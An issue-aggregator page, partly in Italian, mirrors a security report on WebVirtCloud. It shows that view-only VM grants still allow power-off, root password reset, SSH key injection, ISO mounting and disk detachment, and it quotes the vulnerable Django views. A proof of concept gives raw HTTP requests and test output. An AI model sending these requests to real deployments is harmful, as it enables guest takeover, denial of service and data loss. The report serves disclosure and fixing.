View-only instance grant (is_change=False) can still power off, reset root password, inject SSH key, mount ISO and detach disks
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 4/5
- Tempo stimato
- 3-5 giorni
- Idoneità per principianti
- 52/100
- Tipo di issue
- Bug
- Chiarezza
- Specificata chiaramente
- Stato di attività
- Tranquilla
- Stack tecnologico
- django, python
- Ambito
- authorization, backend, security
Direzione di ricerca
Start in instances/views.py with get_instance() and compare the listed power, password, SSH key, disk, and ISO views against resizevm_cpu and the other views that enforce grant flags. Verify that view-only requests cannot reach the relevant proxy actions, while ordinary instance viewing and existing privileged access remain available. Also check add_public_key's UserSSHKey lookup against the ownership concern described in the issue.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Summary
WebVirtCloud lets an administrator grant a user access to a specific instance with three independent flags on the UserInstance grant: is_vnc (may open the console), is_change (may modify the VM) and is_delete (may delete the VM). A grant with all flags False is meant to be read-only: the user can see the instance but must not be able to change or control it.
Most state-changing instance views do not check these flags. They only verify, via get_instance(), that the user holds some grant for the instance. As a result a user who was given a view-only grant (is_change=False, is_delete=False, is_vnc=False) can still power the VM on and off, reset the guest root password, install an SSH public key into the guest, mount and unmount ISO images, and detach the VM's disks. A small set of sibling views (resizevm_cpu, resize_memory, resize_disk, change_options, update_console) correctly enforce is_change/is_vnc, which shows the flags are intended to be enforced everywhere.
Details
The grant model (accounts/models.py):
class UserInstance(models.Model):
user = models.ForeignKey(User, on_delete=models.CASCADE)
instance = models.ForeignKey(Instance, on_delete=models.CASCADE)
is_change = models.BooleanField(default=False)
is_delete = models.BooleanField(default=False)
is_vnc = models.BooleanField(default=False)
The shared gate (instances/views.py, lines 316-330):
def get_instance(user, pk):
"""
Check that instance is available for user, if not raise 404
"""
instance = get_object_or_404(Instance, pk=pk)
user_instances = user.userinstance_set.all().values_list("instance", flat=True)
if (
user.is_superuser
or user.has_perm("instances.view_instances")
or instance.id in user_instances
):
return instance
else:
raise Http404()
get_instance() only answers "does this user hold a grant for this instance?" It does not look at is_change, is_delete or is_vnc. Any view that authorizes with get_instance() alone treats every grant as full control.
Views that correctly enforce the flag (the intended pattern), e.g. resizevm_cpu (lines 538-573):
def resizevm_cpu(request, pk):
instance = get_instance(request.user, pk)
try:
userinstance = instance.userinstance_set.get(user=request.user)
except Exception:
userinstance = UserInstance(is_change=False)
...
if request.method == "POST":
if request.user.is_superuser or request.user.is_staff or userinstance.is_change:
...
instance.proxy.resize_cpu(cur_vcpu, vcpu)
The same is_change check appears in resize_memory (line 587), resize_disk (line 636) and change_options (line 1541), and update_console (line 1479) checks is_vnc.
Views that DO NOT enforce the flag (the bug). They call get_instance() and then act:
poweroff (lines 356-363), also poweron, powercycle, force_off:
def poweroff(request, pk):
instance = get_instance(request.user, pk)
instance.proxy.shutdown()
addlogmsg(request.user.username, instance.compute.name, instance.name, _("Power Off"))
return redirect(request.META.get("HTTP_REFERER"))
set_root_pass (lines 473-500) resets the guest root password:
def set_root_pass(request, pk):
instance = get_instance(request.user, pk)
if request.method == "POST":
passwd = request.POST.get("passwd", None)
if passwd:
passwd_hash = crypt_r.crypt(passwd, "$6$kgPoiREy")
data = {"action": "password", "passwd": passwd_hash, "vname": instance.name}
if instance.proxy.get_status() == 5:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((instance.compute.hostname, 16510))
s.send(bytes(json.dumps(data).encode()))
...
add_public_key (lines 503-535) installs an SSH public key into the guest. Note it also fetches the key with no owner filter:
def add_public_key(request, pk):
instance = get_instance(request.user, pk)
if request.method == "POST":
sshkeyid = request.POST.get("sshkeyid", "")
publickey = UserSSHKey.objects.get(id=sshkeyid) # any user's key id
data = {"action": "publickey", "key": publickey.keypublic, "vname": instance.name}
if instance.proxy.get_status() == 5:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((instance.compute.hostname, 16510))
...
detach_vol (lines 887-900) and mount_iso/unmount_iso (lines 955-967): gated only by a template check, not by is_change:
def detach_vol(request, pk):
instance = get_instance(request.user, pk)
allow_admin_or_not_template = (
request.user.is_superuser or request.user.is_staff or not instance.is_template
)
if allow_admin_or_not_template:
dev = request.POST.get("dev", "")
instance.proxy.detach_disk(dev)
So for a normal (non-staff) user with a view-only grant on a normal (non-template) instance, allow_admin_or_not_template is True and the disk is detached.
The instance ids are sequential integers exposed in the instance list (/instances/) and in every URL, so a user always knows the pk of the instances they were granted; the attack uses an instance the user WAS granted (view-only), so no guessing is needed.
PoC
Set up: as admin, create a user and grant them access to one instance with all flags unchecked (Instances -> instance -> Owners, add the user; in the admin the UserInstance row has is_change=False, is_delete=False, is_vnc=False). Log in as that user.
The following requests all succeed despite the view-only grant. Replace ID with the granted instance's pk and reuse the session cookie + CSRF token from a normal page load.
Power off the VM (no is_change needed):
POST /instances/ID/poweroff/ HTTP/1.1
Cookie: sessionid=...; csrftoken=...
Content-Type: application/x-www-form-urlencoded
csrfmiddlewaretoken=...
Reset the guest root password:
POST /instances/ID/rootpasswd/ HTTP/1.1
Cookie: sessionid=...; csrftoken=...
Content-Type: application/x-www-form-urlencoded
csrfmiddlewaretoken=...&passwd=AttackerPass123!
Detach a disk:
POST /instances/ID/detach_vol/ HTTP/1.1
Cookie: sessionid=...; csrftoken=...
Content-Type: application/x-www-form-urlencoded
csrfmiddlewaretoken=...&dev=vdb&path=/var/lib/libvirt/images/disk.qcow2
Observed result from the real view code (recording mock on Instance.proxy, libvirt stubbed only at the hypervisor boundary; the authorization layer is unmodified):
SEED: inst_a.pk=7 (vouser view-only grant) inst_b.pk=8 (NO grant)
LOGIN: vouser logged in
=== A) view-only user (is_change=False) acting on GRANTED instance A ===
[poweroff A]
http=302 hypervisor_calls=['shutdown']
[set_root_pass A]
http=EXC:ConnectionRefusedError:[Errno 111] Connection refused hypervisor_calls=[]
[add_public_key A (victim key)]
http=EXC:ConnectionRefusedError:[Errno 111] Connection refused hypervisor_calls=[]
[detach_vol A]
http=302 hypervisor_calls=['detach_disk']
[mount_iso A]
http=302 hypervisor_calls=['mount_iso']
=== B) SAME view-only user, SIBLING resize views (is_change enforced) ===
[resizevm_cpu A (is_change gate)]
http=302 hypervisor_calls=[]
[resize_memory A (is_change gate)]
http=302 hypervisor_calls=[]
=== C) cross-user IDOR control: same user on NON-GRANTED instance B ===
[poweroff B (no grant -> should 404)]
http=404 hypervisor_calls=[]
Reading the output:
- poweroff/detach_vol/mount_iso reached the real hypervisor calls (shutdown, detach_disk, mount_iso) for a view-only user.
- set_root_pass and add_public_key passed authorization and ran the code that opens a socket to host:16510; the ConnectionRefusedError is only because the test box has no guest-agent listener. On a real deployment these reset the root password and inject the SSH key.
- The gated siblings resizevm_cpu/resize_memory made no hypervisor call for the same user (is_change correctly enforced).
- poweroff on a non-granted instance returned 404 (cross-user access correctly blocked).
Impact
A user who was deliberately given read-only access to a VM can fully control it: power it off (denial of service), reset the guest root password and inject an SSH key (full guest takeover after the next boot), mount or unmount ISO media, and detach the VM's disks (data loss). The protection the administrator selected when choosing a view-only grant is silently ignored for these actions, while the resize/console actions correctly honor it. Additionally, add_public_key looks up the SSH key by id with no ownership filter, so any stored public key can be selected for injection.
Affected Versions: all current versions, confirmed on commit 1b2da68b2800f94674dd96f4a986cde30ac88280
- Lingua principale
- JavaScript
- Stelle
- 1.9k
- Fork
- 399
- Merge medio
- 1h 10m
- PR unite (30g)
- 4
Preparare l'ambiente
- Include un Dockerfile o un file Docker Compose
- Nessun modello di pull request
- Nessuna guida per i contributori
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di retspen/webvirtcloud
-
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 68/100
retspen/webvirtcloud#393 · 1 commento · 1 reazione ·
-
WebVirtCloud for SUSE KVMAperta
Difficoltà 4/5 3-5 giorni Idoneità per principianti 50/100
retspen/webvirtcloud#686 · 1 commento ·
-
Release a new versionAperta
Difficoltà 5/5 Più di una settimana Idoneità per principianti 25/100
retspen/webvirtcloud#683 · 1 commento ·
-
安装完成后打开控制头灰屏Aperta
Difficoltà 4/5 3-5 giorni Idoneità per principianti 15/100
retspen/webvirtcloud#678 ·
-
Difficoltà 3/5 1-2 giorni Idoneità per principianti 35/100
retspen/webvirtcloud#674 · 1 reazione ·
Tutte le issue di retspen/webvirtcloud
Issue simili
-
[aw] Upgrade availableApertaagentic-workflows
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 90/100
githubnext/gh-aw-cao#16599 ·
I maintainer di solito rispondono entro 1 giorno
-
effort:low impact:medium status: auto-triaged UI / Studio
Difficoltà 2/5 1-3 ore Idoneità per principianti 88/100
mastra-ai/mastra#26124 · 2 commenti ·
I maintainer di solito rispondono entro 1 giorno
-
allow igdb.comAperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 61/100
AdguardTeam/HostlistsRegistry#939 ·
I maintainer di solito rispondono entro 1 giorno
-
product / databases
Difficoltà 2/5 1-3 ore Idoneità per principianti 82/100
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 68/100
smansfield635-create/smansfield635-create.github.io#5818 · 4 commenti ·
I maintainer di solito rispondono entro 1 giorno